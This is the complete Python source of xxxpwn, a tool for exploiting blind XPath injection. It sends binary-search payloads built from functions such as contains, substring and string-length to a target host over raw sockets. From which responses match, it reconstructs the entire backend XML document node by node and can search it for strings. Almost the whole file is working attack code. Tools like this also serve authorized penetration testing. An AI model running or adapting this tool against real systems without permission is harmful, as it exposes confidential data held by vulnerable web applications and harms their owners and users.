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xxxpwn.py
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xxxpwn.py
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#!/usr/bin/env python
# -*- coding: latin1 -*-
# Notepad++ : Encoding -> UTF-8 without BOM. Tabs used for indentation
#Developed by Paul Haas, <Paul dot J dot Haas at gmail dot com> under Security-Assessment
#Licensed under the GNU Public License version 3.0 (2013)
'''xxxpwn : XPath eXfiltration eXploitation Tool : https://github.com/feakk/xxxpwn
Designed for blind optimized XPath 1 injection attacks
xxxpwn uses a variety of XPath optimizations to query custom information from
a backend XML dodcument served from a location where XPath injection is present.
By default it will attempt to retrieve the entire remote database, though this
can be customized using a variety of options.
A number of previous discovered vulnerabilities have been provided as injection
files and target scripts for ease in getting started. This includes a sample
payload provided for the vulnerable application provided as part of xcat.py:
https://github.com/orf/xcat
'''
import argparse
import math
import re
import socket
import ssl
import string
import sys
import time
import urllib
import cgi
import xml.dom.minidom
import threading
import Queue
import binascii
# Global Variables #
VERSION = "1.0 kiwicon release"
ROOT_NODE='/*[1]' # Root node of a XML document
BAD_CHAR='?' # Character to return when we don't have a match in our character set
QI = Queue.Queue() # Input Queue
QO = Queue.Queue() # Output Queue
node_names = set([]) # Used for optimization of previous nodes
attribute_names = set([]) # Used for optimization of previous attributes
COUNT_OPTIMIZE = 30 # Optimize the character set if flag is enabled for any string larger than this. Best when over 30ish
root_nodes = root_comments = root_instructions = nodes_total = attributes_total = comments_total = instructions_total = text_total = elements_total = -1 # Used for optimization code
def get_count_bst(expression,high=16,low=0):
'''BST Number Discovery: Start at half of high, double until too high, then check in middle of high and low, adjusting both as necessary.'''
cmd = encode_payload("%s=0" % expression)
node_test = attack(cmd)
if node_test: return 0 # Expression is empty
MAX_LENGTH = 10000
TO_HIGH=False
TO_LOW=False
guess = (high + low)/2
while guess!=low and guess!=high:
if high >= MAX_LENGTH:
sys.stderr.write("\n#Error: Surpassed max potential %s > %i#\n" % (expression,MAX_LENGTH))
return MAX_LENGTH
#return 0
cmd = encode_payload("%s<%i" % (expression,guess))
node_test = attack(cmd)
if node_test:
if not TO_LOW: low /= 2
TO_HIGH=True
high = guess
else:
if not TO_HIGH: high *= 2
TO_LOW=True
low = guess
guess = (high + low)/2
return guess
def encode_payload(payload):
''' Used to encode our characters in our BST for get_character_bst function.'''
global args
if args.urlencode: # URL Encode
payload = urllib.quote_plus(payload.encode('latin1'))
if args.htmlencode: # URL encode key characters
payload = cgi.escape(payload.encode('latin1'))
return payload
def get_character_queue(inputQueue, outputQueue):
'''Function for handling an input and output Queue as a thread'''
global args
while True:
task = inputQueue.get()
(node,position) = task
char = get_character_bst(node,position,args.character_set)
outputQueue.put((position,char))
inputQueue.task_done()
def to_lower(node):
global args
if args.use_lowercase:
for r in string.uppercase:
node = node.replace(r,'')
node = 'translate(%s,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz")' % node
return node
def match_similar(node,node_set):
'''Initially, compare our node to the set of all previously discovered nodes of its type.
If we can write some XML-y intelligence, we should be able to use XML logic queries to speed this up even further
For example, we can establish sibling relationships, then child-of relationships, etc
'''
global args
match = node_set
#If the number of potential nodes to compare is greater than the amount of time to get the length of the current node, then get the length first
if len(match) > 9:
if args.normalize_space: node = 'normalize-space(%s)' % node
count = get_count_bst("string-length(%s)" % node, args.len_high, args.len_low)
match = [m for m in match if len(m) == count]
#If after reducing our set to match we still have more than than the amount of time it takes to get a single character, then get the first character first
if len(match) > 9:
value = ''
for c in range(1,count+1):
value += get_character_bst(node,c,args.character_set)
match = [m for m in match if re.match(value,m)]
if len(match) < 8:
break
for m in match:
res = attack("%s='%s'" % (node,m))
if res: return m
return None # No match
def get_character_bst(node,position,chars=string.printable):
'''Use BST by dividing across a character set until we find our matched character.'''
global args
remove = "\x0b\x0c" # XPath doesn't support these 'printable' characters
for r in remove: chars = chars.replace(r,'')
node = to_lower(node)
use_chars = chars # Manipulated to contain both " and ' for a valid XPath query
SINGLE_QUOTE = "'"
if SINGLE_QUOTE in use_chars:
use_chars = use_chars.replace(SINGLE_QUOTE,"") + SINGLE_QUOTE # Move single quote to end so we don't have to deal with it
chars = use_chars
use_chars = """concat('%s',"'")""" % encode_payload(use_chars.replace(SINGLE_QUOTE,""))
else:
use_chars = "'%s'" % encode_payload(use_chars)
cmd = "contains(%s,substring(%s,%i,1))" % (use_chars,node,position)
#print "Command: '%s'" % (cmd)
res = attack(cmd)
if not res:
sys.stderr.write("\n#Error: %s at postion %i is not in provided character set#\n" % (node,position))
sys.stdout.flush()
return BAD_CHAR
local_req = 1
while len(chars) > 1:
down = chars[:int(math.ceil(len(chars)/2))] # Bottom half of characters
up = chars[int(math.floor(len(chars)/2)):] # Top half of characters
chars = down # Search bottom list
use_chars = chars
if SINGLE_QUOTE in use_chars:
use_chars = use_chars.replace(SINGLE_QUOTE,"") + SINGLE_QUOTE
use_chars = """concat('%s',"'")""" % encode_payload(use_chars.replace(SINGLE_QUOTE,""))
else:
use_chars = "'%s'" % encode_payload(use_chars)
cmd = "contains(%s,substring(%s,%i,1))" % (use_chars,node,position)
res = attack(cmd)
if not res:
chars = up
local_req+=1
return chars
def get_value_bst(node,count=None):
'''Tie BST String-Length with BST Character Discovery and perform exception handling.'''
global args # For args.character_set and args.normalize_space
sys.stdout.flush()
chars = args.character_set
# TODO: Attempt pre-discovery stuff here, which somewhat implies we know what type 'node' is
if args.normalize_space: node = 'normalize-space(%s)' % node
if not count:
count = get_count_bst("string-length(%s)" % node, args.len_high, args.len_low)
if args.optimize_charset and count >= COUNT_OPTIMIZE:
chars = xml_optimize_character_set_node(node,chars)
value = ''
for c in range(1,count+1):
if args.threads == 0: # Threading disabled
value += get_character_bst(node,c,chars)
else: # Put each character on queue
QI.put((node,c))
if args.threads != 0:
value = [BAD_CHAR] * count
left = count
while left > 0:
# Block to prevent loop spinning
tup = QO.get(True,None)
left -= 1
value[tup[0]-1] = tup[1]
QO.task_done()
value = ''.join(value)
return value
def get_xml_details():
'''Get global XML details including content of root path.'''
global root_nodes
global root_comments
global root_instructions
global nodes_total
global attributes_total
global comments_total
global instructions_total
global text_total
global elements_total
global args
xml_content = ''
# Slight optimization here if the document is top heavy or doesn't contain certain node types
root_nodes = get_count_bst("count(/*)")
root_comments = get_count_bst("count(/comment())")
root_instructions = get_count_bst("count(/processing-instruction())")
if args.global_count:
nodes_total = get_count_bst("count(//*)")
attributes_total = get_count_bst("count(//@*)")
comments_total = get_count_bst("count(//comment())")
instructions_total = get_count_bst("count(//processing-instruction())")
text_total = get_count_bst("count(//text())")
elements_total = nodes_total + attributes_total + comments_total + text_total
print "### XML Details: Root Nodes: %i, Root Comments: %i, Root Instructions: %i, Total Nodes: %i, Attributes: %i, Comments: %i, Instructions: %i, Text: %i, Total: %i ###" % (root_nodes,root_comments, root_instructions, nodes_total, attributes_total, comments_total, instructions_total, text_total, elements_total)
if args.no_root: return xml_content
if args.no_comments != True:
for c in range(1,root_comments+1):
comments_total-=1
comment = get_value_bst("/comment()[%s]" % (c))
xml_content += ("<!--%s-->" % comment)
sys.stdout.write("<!--%s-->" % comment)
if args.no_processor != True:
for i in range(1,root_instructions+1):
instructions_total-=1
instruction = get_value_bst("/processing-instruction()[%s]" % (i))
xml_content += ("<?%s?>" % instruction)
sys.stdout.write("<?%s?>" % instruction)
return xml_content
def get_xml_bst(node=ROOT_NODE):
'''Process an XML tree starting from a given node. If given the ROOT node, this will process an entire XML document.'''
global args
global root_nodes
global root_comments
global root_instructions
global nodes_total
global attributes_total
global comments_total
global instructions_total
global text_total
xml_content = ''
if nodes_total == 0: return ''
node_name = None
if args.xml_match:
node_name = match_similar("name(%s)" % node,node_names)
if not node_name:
node_name = get_value_bst("name(%s)" % node)
node_names.add(node_name) # Add to set
xml_content += ("<%s" % (node_name))
sys.stdout.write("<%s" % (node_name.encode('latin1')))
child_count = attribute_count = comment_count = instruction_count = text_count = 0
if args.no_attributes != True:
if attributes_total!=0: attribute_count = get_count_bst("count(%s/@*)" % node)
for a in range(1,attribute_count+1):
attributes_total-=1
attribute_name = None
if args.xml_match:
attribute_name = match_similar("name(%s/@*[%i])" % (node,a),attribute_names)
if not attribute_name:
attribute_name = get_value_bst("name(%s/@*[%i])" % (node,a))
attribute_names.add(attribute_name)
if args.no_values != True:
attribute_value = get_value_bst("%s/@*[%i]" % (node,a))
xml_content += (' %s="%s"' % (attribute_name, attribute_value))
sys.stdout.write(' %s="%s"' % (attribute_name.encode('latin1'), attribute_value.encode('latin1')))
else:
xml_content += (' %s' % (attribute_name))
sys.stdout.write(' %s' % (attribute_name.encode('latin1')))
xml_content += (">")
sys.stdout.write(">")
if args.no_comments != True:
if comments_total!=0: comment_count = get_count_bst("count(%s/comment())" % node)
for c in range(1,comment_count+1):
comments_total-=1
comment = get_value_bst("%s/comment()[%s]" % (node,c))
xml_content += ("<!--%s-->" % comment)
sys.stdout.write("<!--%s-->" % comment.encode('latin1'))
if args.no_processor != True:
if instructions_total!=0: instruction_count = get_count_bst("count(%s/processing-instruction())" % node)
for i in range(1,instruction_count+1):
nodes_total-=1
instructions_total-=1
instruction = get_value_bst("%s/processing-instruction()[%s]" % (node,i))
xml_content += ("<?%s?>" % instruction)
sys.stdout.write("<?%s?>" % instruction.encode('latin1'))
if args.no_child != True:
if nodes_total!=0: child_count = get_count_bst("count(%s/*)" % node)
for c in range(1,child_count+1):
xml_content += get_xml_bst("%s/*[%s]" % (node,c))
nodes_total-=1
if args.no_text != True:
if text_total!=0: text_count = get_count_bst("count(%s/text())" % node)
for t in range(1,text_count+1):
text_total-=1
text_value = get_value_bst("%s/text()[%i]" % (node,t))
if re.search('\S',text_value,re.MULTILINE):
xml_content += ("%s" % text_value)
sys.stdout.write("%s" % text_value.replace('\n','').encode('latin1'))
xml_content += ("</%s>" % (node_name))
sys.stdout.write("</%s>" % (node_name))
return xml_content
def xml_search(str):
''' Enumerate over each type of node searching for a particular string. '''
global args
# Needs to be quoted with single/double quotes
str = "'%s'" % str
name_node = 'name(.)'
node = '.'
match = 'contains'
if args.search_start:
match = 'starts-with'
if args.use_lowercase:
str = str.lower()
print "# Converting search string to lowercase %s #" % str
name_node = '''translate(name(),"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz")'''
node = '''translate(.,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz")'''
args.use_lowercase = False
if args.no_child != True: # Use the no_child parameter for node names
node_count = get_count_bst('count(//*[%s(%s,%s)])' % (match,name_node,str))
print "### Found %s in %i node name(s) ###" % (str,node_count)
for n in range(1,node_count+1):
node_name = get_value_bst('(name((//*[%s(%s,%s)])[%i]))' % (match,name_node,str,n))
print node_name
if args.no_attributes != True:
attribute_count = get_count_bst("count(//@*[%s(%s,%s)])" % (match,name_node,str))
print "### Found %s in %i attribute name(s) ###" % (str,attribute_count)
for a in range(1,attribute_count+1):
attribute_name = get_value_bst('(name((//@*[%s(%s,%s)])[%i]))' % (match,name_node,str,a))
attribute_value = get_value_bst('(//@*[%s(%s,%s)])[%i]' % (match,name_node,str,a))
print '%s="%s"' % (attribute_name, attribute_value)
''' # Assume they always want the value if they are searching for the name
if args.no_values != True:
attribute_value = get_value_bst('(//@*[%s(%s,%s)])[%i]' % (match,name_node,str,a))
print '%s="%s"' % (attribute_name, attribute_value)
else:
print '%s' % (attribute_name)
'''
# Moved this block out of the no_attributes above in order to have distinct searches
if args.no_values != True:
attribute_count = get_count_bst("count(//@*[%s(%s,%s)])" % (match,node,str))
print "### Found %s in %i attribute value(s) ###" % (str,attribute_count)
for a in range(1,attribute_count+1):
attribute_name = get_value_bst('(name((//@*[%s(%s,%s)])[%i]))' % (match,node,str,a))
if args.no_values != True:
attribute_value = get_value_bst('((//@*[%s(%s,%s)])[%i])' % (match,node,str,a))
print '%s="%s"' % (attribute_name, attribute_value)
else:
print '%s' % (attribute_name)
if args.no_comments != True:
comment_count = get_count_bst("count(//comment()[%s(%s,%s)])" % (match,node,str))
print "### Found %s in %i comments(s) ###" % (str,comment_count)
for c in range(1,comment_count+1):
comment = get_value_bst("(//comment()[%s(%s,%s)])[%i]" % (match,node,str,c))
print "<!--%s-->" % comment
if args.no_processor != True:
instruction_count = get_count_bst("count(//processing-instruction()[%s(%s,%s)])" % (match,node,str))
print "### Found %s in %i instruction(s) ###" % (str,instruction_count)
for i in range(1,instruction_count+1):
instruction = get_value_bst("(//processing-instruction()[%s(%s,%s)])[%i]" % (match,node,str,i))
print "<?%s?>" % instruction
if args.no_text != True:
text_count = get_count_bst("count(//text()[%s(%s,%s)])" % (match,node,str))
print "### Found %s in %i text(s) ###" % (str,text_count)
for t in range(1,text_count+1):
text = get_value_bst("(//text()[%s(%s,%s)])[%i]" % (match,node,str,t))
print "%s" % text
def xml_optimize_character_set_node(node,chars):
present = ''
for c in chars:
if c == "'":
cmd = 'contains(%s,"%s")' % (node,c)
else:
cmd = "contains(%s,'%s')" % (node,c)
if attack(encode_payload(cmd)):
present += c
return present
def xml_optimize_character_set(chars=string.printable):
''' Optimize a character set by searching globally for each character in the database '''
global args
remove = "\x0b\x0c" # XPath doesn't support these 'printable' characters
for r in remove: chars = chars.replace(r,'')
present = ''
for c in chars:
if c == "'":
cmd = '//*[contains(name(),"%s")] or //*[contains(.,"%s")] or //@*[contains(name(),"%s")] or //@*[contains(.,"%s")] or //comment()[contains(.,"%s")] or //processing-instruction()[contains(.,"%s")] or //text()[contains(.,"%s")]' % (c,c,c,c,c,c,c)
else:
cmd = "//*[contains(name(),'%s')] or //*[contains(.,'%s')] or //@*[contains(name(),'%s')] or //@*[contains(.,'%s')] or //comment()[contains(.,'%s')] or //processing-instruction()[contains(.,'%s')] or //text()[contains(.,'%s')]" % (c,c,c,c,c,c,c)
if attack(encode_payload(cmd)):
present += c
sys.stdout.write("### Match set optimized from %i to %i characters: %s ###\n" % (len(chars),len(present),repr(present)))
return present
def attack(inject):
''' Parses injection request, passes to socket, and attempts to match response.'''
global args
global REQUEST_COUNT
request = re.sub(r"\$INJECT", inject, args.inject_file)
# Automatically Update Host header if present
if re.search('Host:', request, args.match_case):
request = re.sub(r"Host:\s*\S*", 'Host: %s' % args.host, request, args.match_case)
# Change Accept-Encoding header value to none if present - DC 4/14/14
if re.search('Accept-Encoding:', request, args.match_case):
request = re.sub(r"Accept-Encoding:\s*.*", 'Accept-Encoding: none', request, args.match_case)
# Change Connection header value to close if present - DC 4/24/14
if re.search('Connection:', request, args.match_case):
request = re.sub(r"Connection:\s*.*", 'Connection: close', request, args.match_case)
else:
# Add Connection: close if no Connection header is present
request = re.sub(r'(.*?)(\r?\n){2}(.*)', r'\1\2Connection:close\2\2\3', request, 1, re.MULTILINE|re.DOTALL)
# If Content-Length is present, assume HTTP and automatically update
if re.search('Content-Length:', request, args.match_case):
# Split head and content, matching HTTP newline variants of \r and \n
match = re.search(r'(.*?)\r?\n\r?\n(.*)', request, re.MULTILINE|re.DOTALL)
if match:
content_len = len(match.groups()[1])
request = re.sub(r"Content-Length:\s*[0-9]*", 'Content-Length: %i' % content_len, request, args.match_case)
MAX = 10 # Number of retries
s = None
while not s:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = socket.gethostbyname(args.host)
if args.use_ssl: s = ssl.wrap_socket(s)
s.connect((ip, args.port))
#s.setblocking(0)
s.send(request)
except Exception as e:
if MAX == 0:
sys.stderr.write("### Max retries reached ###\n")
raise e
else:
sys.stderr.write("### Connection Retry %i ###\n" % MAX)
MAX -= 1
s = None
time.sleep(1)
REQUEST_COUNT+=1 # Bump our global request count
total = ''
# TODO: we need a max time to read data, and a timeout for nonblocking
# TODO: Use keep-alive to speed up this code, which will however require a rearchitecture and some processing for HTTP POST data size reading
while True:
data = s.recv(65534)
if not data: break
total += data
data = total
s.close()
found = bool(re.search(args.match, data, args.match_case))
if args.example: print "### Request: ###\n%s\n### Reply: ###\n%s\n### Match: '%s' = %s ###\n" % (request,data,args.match,found)
return found
if __name__ == "__main__":
t1 = time.time()
global REQUEST_COUNT
REQUEST_COUNT = 0
global args
# http://docs.python.org/dev/library/argparse.html
parser = argparse.ArgumentParser(prog='xxxpwn',description="Read a remote XML file through an XPath injection vulnerability using optimized Binary Search Tree (BST) requests")
parser.add_argument("-v", "--version", help="Show version of %(prog)s", action='version', version=VERSION)
parser.add_argument("-c", "--case", help="Perform case-sensitive string matches (default=insensitive)", dest="match_case", action='store_const', const=0, default=re.IGNORECASE)
parser.add_argument("-U", "--urlencode", help="URL encode key characters in payload (default=disabled)", dest="urlencode", action="store_true", default=False)
parser.add_argument("-H", "--htmlencode", help="HTML Encode key characters in payload (default=disabled)", dest="htmlencode", action="store_true", default=False)
parser.add_argument("-s", "--ssl", help="Use SSL for connection (default=off)", dest="use_ssl", action="store_true", default=False)
parser.add_argument("-i", "--inject", help="REQUIRED: File containing sample request with $INJECT as dynamic injection location (default=stdin)", type=argparse.FileType('rb'), default=sys.stdin, dest="inject_file", required=True)
parser.add_argument("-m", "--match", help="REQUIRED: Keyword that is present on successful injection", dest="match", required=True)
parser.add_argument("host", action="store")
parser.add_argument("port", action="store", type=int)
group_test = parser.add_argument_group('Test options')
group_test.add_argument("-e", "--example", help="Test injection with an example injection request", dest="example")
group_test.add_argument("--summary", help="Print XML summary information only", dest="summary", action="store_true", default=False)
group_test.add_argument("--no_root", help="Disable accessing comments/instructions in root (default=enabled)", dest="no_root", action="store_true", default=False)
group_test.add_argument("--no_comments", help="Disable accessing comments/instructions in retrieval (default=enabled)", dest="no_comments", action="store_true", default=False)
group_test.add_argument("--no_processor", help="Disable accessing comments nodes (default=enabled)", dest="no_processor", action="store_true", default=False)
group_test.add_argument("--no_attributes", help="Disable accessing attributes (default=enabled)", dest="no_attributes", action="store_true", default=False)
group_test.add_argument("--no_values", help="Disable accessing attribute values (default=enabled)", dest="no_values", action="store_true", default=False)
group_test.add_argument("--no_text", help="Disable accessing text nodes (default=enabled)", dest="no_text", action="store_true", default=False)
group_test.add_argument("--no_child", help="Disable accessing child nodes (default=enabled)", dest="no_child", action="store_true", default=False)
group_adv = parser.add_argument_group('Advanced options')
group_adv.add_argument("-l", "--lowercase", help="Optimize further by reducing injection to lowercase matches (default=off)", dest="use_lowercase", action="store_true", default=False)
group_adv.add_argument("-g", "--global_count", help="Maintain global count of nodes", dest="global_count", action="store_true", default=False)
group_adv.add_argument("-n", "--normalize_space", help="Normalize whitespace (default=off)", dest="normalize_space", action="store_true", default=False)
group_adv.add_argument("-o", "--optimize_charset", help="Optimize character set globally and for any string length over %i" % COUNT_OPTIMIZE, dest="optimize_charset", action="store_true", default=False)
group_adv.add_argument("-x", "--xml_match", help="Match current nodes to previously recovered data", dest="xml_match", action="store_true", default=False)
group_adv.add_argument("--len_low", help="Low value for string length matching (default=0)", type=int, dest="len_low", default=0)
group_adv.add_argument("--len_high", help="Start high value for string length matching (default=16)", type=int, dest="len_high", default=16)
group_adv.add_argument("--start_node", help="Start recovery at given node (default=ROOT_NODE or /*[1])", dest="start_node", default=ROOT_NODE)
#group_adv.add_argument("-k", "--keep_alive", help="Use HTTP Keep Alives connections to speedup round-trip time", dest="keep_alive", action="store_true", default=False)
group_adv.add_argument("-u", "--use_characters", help="Use given string for BST character discovery (default=string.printable)", dest="character_set", default=string.printable)
group_adv.add_argument("--unicode", help="Include Unicode characters to search space", dest="unicode", action="store_true", default=False)
group_adv.add_argument("-t", "--threads", help="Parallelize attack using specified threads (default=1)", dest="threads", type=int, default=0)
group_adv.add_argument("--xpath2", help="Check for presence of XPath 2.0 functions", dest="xpath2", action="store_true", default=False)
group_adv.add_argument("--search", help="Print all string matches (use -l for case-insensitive)", dest="search")
group_adv.add_argument("--search_start", help="Search only at start of node", dest="search_start", action="store_true", default=False)
try:
args = parser.parse_args()
except IOError as e:
sys.stderr.write("Error: Cannot access injection file: %s\n" % e)
exit(2)
except Exception as e:
sys.stderr.write("Error: Invalid command arguments: %s\n" % e)
exit(3)
args.inject_file = args.inject_file.read() # Convert file object to string
if not re.search('\$INJECT', args.inject_file, args.match_case):
sys.stderr.write("### Error: Could not find '$INJECT' string in provided content: ###\n%s" % args.inject_file)
exit(4)
if args.len_low > args.len_high or args.len_low == args.len_high:
sys.stderr.write("### Invalid character length matching parameters. Must be set as $i < $i: ###\n%s" % (args.len_low,args.len_high))
exit(5)
if args.use_lowercase:
for r in string.uppercase: args.character_set = args.character_set.replace(r,'')
if args.example:
print "### Testing %s ###" % args.example
args.no_child = True
attack(encode_payload(args.example))
exit(0)
# Test injection point for successful injection before performing attack
if not attack(encode_payload("count(//*) and 2>1")):
sys.stderr.write("### Test Injection Failed to match '%s' using: ###\n%s\n" % (args.match, args.inject_file))
sys.stderr.write("### If you know injection location is correct, please examine use of -U and -H flags###\n")
exit(6)
# Verify that bad injection is not accepted
if attack(encode_payload("0>1")):
sys.stderr.write("### Matched '%s' using invalid XPath request on:###\n%s\n" % (args.match, args.inject_file))
sys.stderr.write("### If you know injection location is correct, please examine use of -U and -H flags###\n")
exit(7)
# Test for XPath 2.0 functionality
if args.xpath2:
if attack(encode_payload("lower-case('A')='a'")):
sys.stderr.write("### Looks like %s:%i supports XPath 2.0 injection via lower-case(), consider using xcat (https://github.com/orf/xcat) ###\n" % (args.host, args.port))
exit(8)
if args.unicode:
# Some editors will complain about the Unicode string below.. use a better editor
unicode_str = ''.join(set(u"ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"))
sys.stdout.write("### Adding %i Unicode characters to character set of length %i ###\n" % (len(unicode_str),len(args.character_set)))
args.character_set += unicode_str
if args.optimize_charset:
args.character_set = xml_optimize_character_set(args.character_set)
args.character_set = ''.join(set(args.character_set)) # Eliminate duplicates in our set
# Start threads
thread_lst = []
for i in range(args.threads):
t = threading.Thread(target=get_character_queue, args = (QI,QO))
t.daemon = True
t.start()
thread_lst.append(t)
if args.search:
print "### Searching globally for %s ###" % args.search
xml_search(args.search)
exit(0)
# Start our XML Content with an empty string
if not args.summary: print "\n### Raw XML ####:"
xml_content = ''
xml_content += get_xml_details()
if not args.summary:
xml_content += get_xml_bst(args.start_node)
xml_content = str(xml_content.encode('latin1'))
print "\n\n### Parsed XML ####:"
try:
# Warning The xml.dom.minidom module is not secure against maliciously constructed data.
# This parses improperly in either Windows or Linux. I'm not dealing with encoding issues in Python
print xml.dom.minidom.parseString(xml_content).toprettyxml(encoding='utf-8')
except xml.parsers.expat.ExpatError as e:
sys.stderr.write("### Unable to process as complete XML document '%s', re-printing raw XML###\n" % e)
print xml_content
if args.global_count:
print "### XML Elements Remaining: Nodes: %i, Attributes: %i, Comments: %i, Instructions: %i, Text: %i ###" % (nodes_total,attributes_total,comments_total,instructions_total,text_total)
t2 = time.time()
sys.stderr.write("### %i requests made in %.2f seconds (%.2f req/sec) ###\n"% (REQUEST_COUNT,(t2-t1),REQUEST_COUNT/(t2-t1)))